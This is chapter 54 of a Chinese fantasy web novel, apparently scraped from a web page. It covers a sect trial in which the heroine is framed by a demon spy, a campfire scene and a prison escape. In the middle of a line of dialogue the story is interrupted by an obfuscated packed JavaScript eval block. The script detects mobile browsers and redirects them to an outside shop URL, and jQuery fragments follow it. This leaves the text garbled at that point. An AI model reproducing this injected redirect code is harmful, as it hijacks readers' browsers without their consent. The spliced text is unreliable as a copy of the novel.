54. 陷阱
作品:《虚虚猿之传》 慎刑司长老横眉厉声,“徐夕垣,他们在你的房间里发现了昨日刺客的衣物,你有何话可说?”
徐夕垣:“冤枉啊!昨日赵如音师姐闯入我房中,将我俩的面容对换,替她掩饰,周礼昨日也看到了,我用的枪,赵师姐她不用枪。”
“周礼,可有此事?”
“禀长老,昨日排查赵师姐的房间时未发现异常,更未发现什么枪之类的。”
徐夕垣瞪大了眼睛,周礼,我到底哪里得罪你了?看来你昨日是装傻,假装看不出我的身份。
赵如音握拳,也自证清白,“如音昨夜一直在房内休息,各执法堂弟子也可作证。”
执法堂弟子:“师姐说的没错,昨夜搜查师姐确实在房内,今早才出门,哦对,我寅时还见徐师妹出门,在神鸟台看到的。”
徐夕垣腹诽,好家伙,昨天真是帮赵如音来坑自己。
孟尽渝轻轻皱眉,心里有一股绳拉紧,他真想立刻跳出来将她带走,不要再受人审判。
徐夕垣正色道:“搜查时师姐在屋内并不能说明什么,你们去查浮生阁时我也在;其次,我寅时出门强身健体,有何问题,难不成我故意在尔等面前闲逛、引人怀疑?倒是师姐,身上还有伤吧?也不知昨晚处理了没有。”
听此,他心里的烦躁稍稍舒缓。
徐夕垣犀利的眼神对上赵如音。
赵如音面对质问,咬住嘴唇,红色的唇失了颜色,她抬起头,下定决心,脸上是七分坚毅,三分无辜,“弟子愿验身以证清白!”
徐夕垣在心里夸赞,赵如音的演技都可以拿奥斯卡小金人了,不愧是卧底!
慎刑司长老看向掌门:“昨夜我伤中那人的肩膀,带着女弟子去验吧。”
徐夕垣跟上去,“我也去看。”
到了厢房,徐夕垣眼睁睁地看着她脱掉上衣,露出光洁的皮肤,竟一点伤口也无。
女医师顺势检查了她的内力和身体,得出无伤的结论。
“我记得那刺客右肩膀有血来着。”徐夕垣按住她的右肩,装作检查的样子,暗中使劲发力。
赵如音自然地挣脱她,捂住胸口,水汪汪的眼睛直直地对上她,“师妹,没有就是没有,怎么可以诬陷人?”
徐夕垣一愣,从她眼里看到了一个白衣女子趴在地上,一抬眼,红唇衔着一朵红色的海棠花,仿佛清冷的堕神,妖冶而魅惑。
她突然感觉一阵酸痛从肩膀处传来。
心里直呼,糟了!方才中了她的妖术,竟然把伤转移到我身上了!
“师姐已验完了,该师妹了吧。”
徐夕垣把右肩坦露出来,一看,那处竟然有一块淤青!
将结果公之于众时,就连掌门也是一脸震惊。
孟尽渝趁掌门还未发话时,站出来说了传音法器的事,徐夕垣曾把传音叶给他,昨夜他便听到了她们的谈话。
执法堂长老神情严肃,秉着公正的态度,“师侄与徐某有所交情,证词不足以服众。再者,传音叶即使在你手中,又怎么证明昨日你听到她们的谈话?恐有偏袒以造假之嫌。”
他跪下,平静道:“缘君愿意碎魂搜证,昨夜所听句句属实。”
徐夕垣猛地看向他,传说中的碎魂搜证!就是将神魂撕裂,探查记忆,若是抵不住痛苦就会精神失常,变成白痴疯子的碎魂搜证吗!?
不!他这么聪明的人怎么可以变成白痴!她宁愿被冤枉,也不要他变成白痴啊!!!
掌门脸色一变,呵斥道:“缘君,碎魂搜证岂是儿时?你若是有个闪失,对得起你师父吗?此事与你无关,就莫要冒险了。”
徐夕垣对掌门投以赞赏的目光,目光灼灼就连掌门也受不了,她就差双手举起,高呼“掌门英明”!
孟尽渝再次请命,“师伯……”
“不必再说了,此事疑点重重,先将徐夕垣押入地牢,等候二审。”掌门拂袖而去。
徐夕垣对孟尽渝传音,“不要担心,我会为你找出真相。”
孟尽渝知道她所说的真相并非她的,而是他师父的。
她一向很有把握,希望这次也是。
落日余晖下,后山升起袅袅炊烟,火焰上正烤着三只鸟,撒上各种香料和酱汁,肉香四溢。
“来吃肉!”朱承烨把串好的鸟肉递给苏小兮。
苏小兮托着下巴,一副恹恹的样子,“姐姐都进地牢了,你怎么还能吃得下啊。”
“别担心,吉人自有天相,你现在也帮不到,不如及时行乐。”他撕下来一块肉,美滋滋地咀嚼起来。
苏小兮叹了口气,“也是。”
这鸟肉烤得真香!
作为猫的天性显现,她大口大口地吃肉,虎牙都漏了出来。
一只手指抹过她的嘴角,她转动眼珠见少年正笑吟吟看她,有种不怀好意的感觉,“慢点吃,没人跟你抢。”
余光落到他脚边的一地羽毛上,有白色、黑色还有五颜六色的羽毛混在一起。
这五颜六色的羽毛怎么这么眼熟呢?她一边嘶咬着肉,一边回忆。
脑海里将绿、红、蓝、黄颜色的羽毛拼在一起,组成鹦鹉的形象。
她尖叫一声,“啊!你烤的鹦鹉?”
朱承烨嘴上闪着油光,“是啊,那鹦鹉傻不愣登的,不会说话,不会飞,还不如吃了。”
她崩溃地抓着头发,“我答应时公子要好好照顾它的!”
“时迟生啊,他一会儿就到。”朱承烨仿佛找错了重点,接着他回过味来,“在这荒郊野岭飞的、又没开智,能是什么人养的灵宠?肯定是野生的!”
“不,是我把它放飞了……”她眼中含泪,再一想到时迟生一会就来,她更是崩溃地哭了起来。
“诶,你别哭啊,既然放飞了,就生死有道嘛,被我烤来吃也是它的命运。”
苏小兮哭得更大声了,突然她嘴里被塞了一块肉,止住了哭声。
在短短几秒内,她的表情由悲伤、迷茫、愤怒、震惊到惊喜,她不争气地留下了口水,“真香啊……”
她已经很久没吃到肉了,镜湖派的人都是修炼狂,六根清净,不食人间烟火。
朱承烨松了口气,再放出火,将脚边一堆羽毛焚烧殆尽。
没多久,时迟生和孟尽渝便来了,看到他俩坐地上吃肉正香。
朱承烨极其热情地递出一只烤鸽子,“来来,吃!”
苏小兮埋着头,默默地啃骨头,祈祷时迟生不要发现。
时迟生接过,“谢谢。”
“我的呢?”孟尽渝问。
“你不是慎味嘛,看着我们吃就行
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413248|196686||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。”朱承烨乐呵呵道。
孟尽渝倒也没和他生气,围着火堆坐下来。
“孟大哥,姐姐怎么办啊?”
火堆不时发出噼里啪啦的轻微声响,几颗火星子顺着火气流曲折上升。
火光勾勒出他的下颌,睫毛泛着柔和的光,“赵如音就是魔族细作,掌门也知道,可师伯碍于慎刑司长老那刚正不阿、黑白分明的性子,只能按门规来办。”
“掌门需要另一个证据,赵如音定会找时机出去报信,我会监视她。”他抬眼环视一周,“在此期间,你们照顾好徐夕垣即可,有事用传音叶联络。”
众人点点头。
幽深的地牢之中,光线被厚重的墙体阻绝,走廊仅有昏黄而斑驳的烛光,有一处牢房虽阴暗破旧,却奇迹般地置有一张简陋木床与一盏摇曳不定的油灯,为这绝望之地添上了一抹莫名的温情。
徐夕垣一身囚衣,发丝微乱,正无聊在墙上刻字。
她挥动长枪,唰唰在墙上刻下几个奇丑无比的字,“徐夕垣到此一游”!
欣赏完自己的杰作后,她便双手抱头躺在床上,翘起二郎腿。
这牢房真够小的,连个窗户都无,全是黑色的阴影,压抑得很,跟小枫一个做派。
我平生最痛恨病娇,得不到爱只能强迫、囚禁人的无能可怜虫!可怜之人必有可恨之处,我应该在第一个世界杀了他解气。
话说,赵如音怎么不来找我呢?按说我知道这么多事情,她应该来杀人灭口啊。
说曹操曹操到,月黑风高之夜,一道轻盈的身影悄然降临,赵如音一袭淡雅的紫色衣裙,面带温婉笑意,眼底却藏着阴恻恻的深沉。
她轻挥衣袖,一圈圈淡蓝色的结界如涟漪般荡漾开来,将地牢与外界隔绝。
她看到墙上的“徐夕垣到此一游”,冷笑道,“真是佩服,师妹在牢里过得也怡然自得呢。”
“师姐是来杀人灭口的吗?”她没有下床。
赵如音的声音温柔而低沉,“不,我来带你走。”
徐夕垣抬眸,惊诧之情从眼睛里流露而出,“什么?”
“魔君对你很感兴趣,邀你去天外天一叙。”
天外天在哪?
徐夕垣眼眸一凝,桌上烛火摇曳,透过橘黄的光,她的视野猛地拉远又拉近。
她看到一座长方形地窖,四周密不透风,空间狭小,一匹青铜马立在棺材旁,一个酷似人形的野兽从眼前掠过,她仿佛能听见野兽连绵不断的嘶吼。
那座棺材莫名吸引她,要她靠近。
要去天外天,这样莫名的想法出现。
这一画面只在瞬息之间消逝,她稳了稳心神,手往前一推,“等等,什么魔君天外天我不感兴趣,先说你是否杀了重邑真人?”
赵如音闻言,嘴角勾起一抹笑,承认得坦荡:“不错,是我所为。但重邑真人不肯下山,我如何能引他入局?他固守乐天峰,不肯涉足尘世纷争,我唯有借他徒弟之手,让他步入我设下的局。”
“行了,真相你也知道了,跟我走吧。”
赵如音忽地身形一晃,周身封印如冰雪消融,修为暴涨,直达渡劫期,一时间,地牢内的空气仿佛凝固。
她轻挥衣袖,牢门应声而破。
顿时,牢房内警钟大作。

